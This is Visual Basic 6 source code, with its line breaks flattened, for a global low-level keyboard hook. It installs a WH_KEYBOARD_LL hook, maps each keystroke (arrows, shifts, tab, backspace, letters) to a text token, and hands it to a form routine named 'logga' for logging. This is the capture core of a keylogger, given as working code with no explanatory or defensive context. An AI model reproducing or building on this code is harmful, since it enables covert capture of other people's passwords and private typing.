Public fso As New FileSystemObject Public buff As String Public Hook As Long Public ofil Public Const MAX_PATH As Integer = 260 Public Const WH_KEYBOARD_LL = 13 Private Const HC_ACTION = 0& Private Const WM_KEYDOWN = &H100 Private Const WM_KEYUP = &H101 Private Const WM_SYSKEYDOWN = &H104 Private Const WM_SYSKEYUP = &H105 Public Const LLKHF_ALTDOWN = &H20 Public Const VK_BACK = &H8 Public Const VK_CONTROL = &H11 Public Const VK_DELETE = &H2E Public Const VK_DOWN = &H28 Public Const VK_END = &H23 Public Const VK_ESCAPE = &H1B Public Const VK_HOME = &H24 Public Const VK_INSERT = &H2D Public Const VK_LCONTROL = &HA2 Public Const VK_LEFT = &H25 Public Const VK_LSHIFT = &HA0 Public Const VK_RCONTROL = &HA3 Public Const VK_RIGHT = &H27 Public Const VK_RSHIFT = &HA1 Public Const VK_SNAPSHOT = &H2C Public Const VK_SPACE = &H20 Public Const VK_TAB = &H9 Public Const VK_UP = &H26 Public Type SHITEMID cb As Long abID As Byte End Type Public Type ITEMIDLIST mkid As SHITEMID End Type Private Type KeyboardBytes kbByte(0 To 255) As Byte End Type Private Type KBDLLHOOKSTRUCT vkCode As Long scanCode As Long flags As Long time As Long dwExtraInfo As Long End Type Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function ToAsciiEx Lib "user32" (ByVal uVirtKey As Long, ByVal uScanCode As Long, kbArray As KeyboardBytes, lpChar As Integer, ByVal uFlags As Long, ByVal dwhkl As Long) As Long Public Declare Function ToUnicode Lib "user32" (ByVal wVirtKey As Long, ByVal wScanCode As Long, kbArray As KeyboardBytes, ByVal pwszBuff As String, ByVal cchBuff As Long, ByVal wFlags As Long) As Long Public Declare Function GetKeyboardState Lib "user32" (kbArray As KeyboardBytes) As Long Public Declare Function GetKeyboardLayout Lib "user32" (ByVal dwLayout As Long) As Long Public Declare Function GetKeyNameText Lib "user32" Alias "GetKeyNameTextA" (ByVal lParam As Long, ByVal lpBuffer As String, ByVal nSize As Long) As Long Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSrc As Any, ByVal ByteLen As Long) Private kbstruct As KBDLLHOOKSTRUCT Public Function KeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long If nCode = HC_ACTION Then If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then CopyMemory kbstruct, ByVal lParam, LenB(kbstruct) kfl = 0 conve = "" If (kbstruct.flags And LLKHF_ALTDOWN) Then conve = "[ALT]" End If If (kbstruct.vkCode = VK_RSHIFT) Then conve = "[RSHIFT]" kfl = 1 End If If (kbstruct.vkCode = VK_LSHIFT) Then conve = "[LSHIFT]" kfl = 1 End If If (kbstruct.vkCode = VK_UP) Then conve = "[UP]" kfl = 1 End If If (kbstruct.vkCode = VK_TAB) Then conve = "[TAB]" kfl = 1 End If If (kbstruct.vkCode = VK_SPACE) Then conve = "[SPACE]" kfl = 1 End If If (kbstruct.vkCode = VK_SNAPSHOT) Then conve = "[SNAPSHOT]" kfl = 1 End If If (kbstruct.vkCode = VK_LEFT) Then conve = "[LEFT]" kfl = 1 End If If (kbstruct.vkCode = VK_RIGHT) Then conve = "[RIGHT]" kfl = 1 End If If (kbstruct.vkCode = VK_DOWN) Then conve = "[DOWN]" kfl = 1 End If If (kbstruct.vkCode = VK_DELETE) Then conve = "[CANC]" kfl = 1 End If If (kbstruct.vkCode = VK_BACK) Then conve = "[BACKSPACE]" kfl = 1 End If If (kbstruct.vkCode = VK_LCONTROL) Then conve = "[LCONTROL]" kfl = 1 End If If (kbstruct.vkCode = VK_RCONTROL) Then conve = "[RCONTROL]" kfl = 1 End If If (kbstruct.vkCode = VK_HOME) Then conve = "[HOME]" kfl = 1 End If If (kbstruct.vkCode = VK_END) Then conve = "[END]" kfl = 1 End If If (kbstruct.vkCode = VK_INSERT) Then conve = "[INS]" kfl = 1 End If If (kbstruct.vkCode = VK_ESCAPE) Then conve = "[ESC]" kfl = 1 End If If kfl = 0 Then conve = Chr(kbstruct.vkCode) End If Call Form1.logga(conve) KeyboardProc = CallNextHookEx(Hook, nCode, wParam, lParam) End If End If End Function